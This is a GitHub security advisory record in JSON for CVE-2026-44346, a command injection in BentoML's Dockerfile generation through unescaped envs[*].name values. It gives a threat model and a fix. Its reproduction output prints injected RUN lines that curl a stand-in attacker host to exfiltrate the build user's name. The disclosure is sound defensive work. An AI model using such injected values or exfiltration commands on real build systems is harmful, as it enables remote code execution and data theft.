CVE-2026-44346: Bentoml Dockerfile Command Injection Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-w2pm-x38x-jp44",
  "modified" : "2026-06-08T23:49:29Z",
  "published" : "2026-05-11T14:27:37Z",
  "aliases" : [ "CVE-2026-44346" ],
  "summary" : "Dockerfile command injection via envs[*].name in bentofile.yaml (sibling fix-bypass of CVE-2026-33744 and CVE-2026-35043)",
  "details" : "# BentoML `envs[*].name` Dockerfile command injection — sibling of CVE-2026-33744 / CVE-2026-35043\n\nA malicious `bentofile.yaml` containing a newline-injected value in `envs[*].name` produces unquoted `RUN` directives in the BentoML-generated Dockerfile. When the victim runs `bentoml containerize` on the imported bento, those `RUN` directives execute on the host during `docker build`. Verified end-to-end on `bentoml==1.4.38`.\n\n## Vulnerable code\n\n`src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:71-73`:\n\n```jinja\n{% for env in __bento_envs__ %}\n{% set stage = env.stage | default(\"all\") -%}\n{% if stage != \"runtime\" -%}\nARG {{ env.name }}{% if env.value %}={{ env.value | bash_quote }}{% endif %}\nENV {{ env.name }}=${{ env.name }}\n{% endif -%}\n{% endfor %}\n```\n\n`env.value` is bash-quoted via the `bash_quote` filter, but **`env.name` is interpolated raw** with no escaping or newline filtering. The template is rendered by `_bentoml_impl/docker.generate_dockerfile` (the v2 SDK Docker generation path used by `bentoml containerize` for modern services).\n\n## Sibling relationship to existing CVEs\n\nThe earlier patches addressed the same Dockerfile-command-injection class for a different bentofile field:\n\n- **CVE-2026-33744 / GHSA-jfjg-vc52-wqvf** (2026-03-25): added `bash_quote` to `system_packages` interpolation in Dockerfile templates and `images.py`.\n- **CVE-2026-35043 / GHSA-fgv4-6jr3-jgfw** (2026-04-02): added `shlex.quote` to `system_packages` in the cloud deployment path (`_internal/cloud/deployment.py:1648`).\n\nBoth patches limit themselves to `system_packages`. The `envs[*].name` field is the same root-cause class (`bentofile.yaml` value flowing unquoted into a Dockerfile interpretation context) but was never included in the fix scope.\n\n## Reproduction\n\n```bash\npip install bentoml==1.4.38\npython verify_render.py\n```\n\nExpected:\n\n```\n[*] rendered Dockerfile size: 1789 bytes\n[*] injected RUN lines: 3\n    RUN curl -fsSL http://attacker.example.com/$(whoami)=1\n    RUN curl -fsSL http://attacker.example.com/$(whoami)=$FOO\n    RUN curl -fsSL http://attacker.example.com/$(whoami)\n```\n\nEach injected `RUN` line is a Dockerfile command that runs during `docker build`. With `$(whoami)` shell-substituted by Docker's RUN executor, the example payload exfiltrates the build host's username.\n\n## Threat model\n\n1. Attacker authors a malicious bento with a crafted `bentofile.yaml`.\n2. Attacker exports the bento (`.bento` or `.tar.gz`) and distributes (S3, HTTP, BentoCloud share, etc.).\n3. Victim imports with `bentoml import bento.tar`; no validation of `envs` content.\n4. Victim runs `bentoml containerize` to build the container image.\n5. BentoML renders the Dockerfile with the attacker's `envs` values, producing injected `RUN` lines.\n6. `docker build` (or BuildKit) executes the injected `RUN` commands on the build host, achieving RCE in the victim's build environment.\n\nThe flow mirrors CVE-2026-33744 exactly, with `envs` substituted for `system_packages`.\n\n## Suggested fix\n\nIn `base_v2.j2` lines 71-73, apply the `bash_quote` filter to `env.name` (and to the `=$VAR` reference in the `ENV` line, since the variable name itself is reused there):\n\n```jinja\nARG {{ env.name | bash_quote }}{% if env.value %}={{ env.value | bash_quote }}{% endif %}\nENV {{ env.name | bash_quote }}=${{ env.name | bash_quote }}\n```\n\nBetter, since `env.name` is semantically a Dockerfile identifier, validate at the schema level: in `bentoml/_internal/bento/build_config.py:BentoEnvSchema`, add an `attr.validators.matches_re(r\"^[A-Za-z_][A-Za-z0-9_]*$\")` to the `name` field so newline / shell-metacharacter values are rejected at config load.\n\n## Affected versions\n\n- bentoml 1.4.38 (verified end-to-end)\n- Likely all 1.x versions where `_bentoml_impl/docker.py` exists; the v2 SDK code path was added before the CVE-2026-33744 / CVE-2026-35043 patches and was not retroactively swept for siblings.\n\n## Disclosure\n\nRequesting CVE assignment and GHSA publication. Available for additional repro under different distros / frontends, or for a PR with the suggested fix, on request.\n\n\n## PoC artifacts\n\nGated HF repo (request access): https://huggingface.co/mrw0r57/bentoml-envs-cmdinjection-poc",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "bentoml"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.4.39"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.4.38"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/bentoml/BentoML/security/advisories/GHSA-78f9-r8mh-4xm2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/bentoml/BentoML/security/advisories/GHSA-w2pm-x38x-jp44"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44346"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/bentoml/BentoML"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/bentoml/PYSEC-2026-190.yaml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78", "CWE-94" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-11T14:27:37Z",
    "nvd_published_at" : "2026-05-27T18:16:23Z"
  }
}